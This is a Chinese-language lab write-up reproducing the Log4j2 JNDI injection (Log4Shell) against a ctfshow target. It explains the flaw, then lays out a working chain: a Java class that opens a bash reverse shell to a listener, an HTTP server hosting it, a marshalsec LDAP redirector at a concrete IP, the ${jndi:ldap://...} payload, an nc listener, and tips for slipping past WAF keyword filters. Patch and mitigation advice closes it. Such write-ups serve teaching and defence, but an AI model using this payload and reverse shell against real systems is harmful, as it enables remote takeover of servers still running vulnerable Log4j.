Apache Log4j漏洞复现

漏洞描述

Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发,用来记录日志信息。

Log4j-2中存在JNDI注入漏洞,当程序将用户输入的数据被日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。

如下组件均有该漏洞

Spring-Boot-strater-log4j2
Apache Struts2
Apache Solr
Apache Flink
Apache Druid
ElasticSearch
Flume
Dubbo
Redis
Logstash
Kafka
vmvare

漏洞原理

代码的主要内容就是一旦发现日志中包含 ${ 就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身,从而导致攻击者构造符合要求的表达式供系统执行。

之后进入 Interpolator 类的 lookup 方法,(可以把一些系统变量放到日志中)由前缀值 jndi 获取到 JndiLookup 类,最终调用对应的 lookup 方法发起请求

总结:日志在打印时当遇到 ${ 后,Interpolator 类以 : 号作为分割,将表达式内容分割成两部分,前面部分作为 prefix,后面部分作为 key。然后通过 prefix 去找对应的 lookup,通过对应的 lookup 实例调用 lookup 方法,最后将 key 作为参数带入执行。

所以poc:${jndi:ldap://xxx.xxx.xxx.xxx/exp}

验证过程:

poc为${jndi:ldap://8v1wxm.dnslog.cn}格式的字符串,在log4j2打印包含这个字符串的日志时,通过JNDI对ldap://8v1wxm.dnslog.cn进行请求。所以,如果能注入成功,则在请求网址的时候,会对8v1wxm.dnslog.cn这个域名进行解析,并留下解析记录。

所以当注入成功时,dnslog就会留下解析记录

漏洞复现

打开靶机(使用靶机为ctfshow靶机)

1、构造反序列化exp,改一下ip即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.lang.Runtime;
import java.lang.Process;

public class Exp {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/x.x.x.x/12000 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

2、用javac编译一下

注意:javac编译版本必须为1.8,否则复现不成功

log4jrce 是通过lookup触发的漏洞,但jdk1.8.191以上默认不支持ldap协议,对于高版本jdk,则需要一定的依赖。

把这个类编译之后会得到一个Exploit.class

3、开启web服务

将刚刚得到的class放入我们即将开启的web目录里面,使用python2自带的SimpleHTTPServer

python2 -m SimpleHTTPServer 444

如上图,开启web服务后,访问页面也会有相应回显

4.开启marshalsec IDAP服务

项目地址:https://github.com/mbechler/marshalsec

利用marshalsec开启一个恶意的IDAP服务命令为:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://118.31.59.38:444/#Exp" 9997

端口为9997,开启监听

5.打EXP

poc:${jndi:ldap://118.31.59.38:9997/Exp}

6.反弹shell

本地开启监听 nc -lvnp 12000

成功回弹shell

Bypass

如果企业已经部署了 WAF 等安全产品,在漏洞爆发之初就应该及时更新规则,临时处置,从而给后续的根治争取时间,从 payload 上看,有几个关键特征:${,jndi,ldap,rmi等,但是如果只是拦截 jndi 等字符串,很可能没有很好的效果,因为可以进行字符串拼接从而绕过检测,而如果拦截 ${,又可能造成正常功能无法使用,毕竟可能存在正常请求中包含这个关键词的情况。

1、jndi、ldap、rmi 绕过

  • 用 lowerCase upperCase 把关键词分割开

2.${ 关键词拦截

这个范围大,而且会误报,感觉不太会设置${拦截

修复建议

1.升级Apache Log4j 2至最新安全版本2.15.0-rc2:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

2.升级已知受影响的应用及组件,如spring-boot-starter-log4j2/ApacheStruts2/ApacheSolr/ApacheDruid/Apache Flink。

临时解决方案:

1.设置jvm参数”-Dlog4j2.formatMsgNoLookups=true”;

2.设置系统环境变量

“FORMAT_MESSAGES_PATTERN_DIS-ABLE_LOOKU_PS”为”true”;

3.关闭应用的网络外连。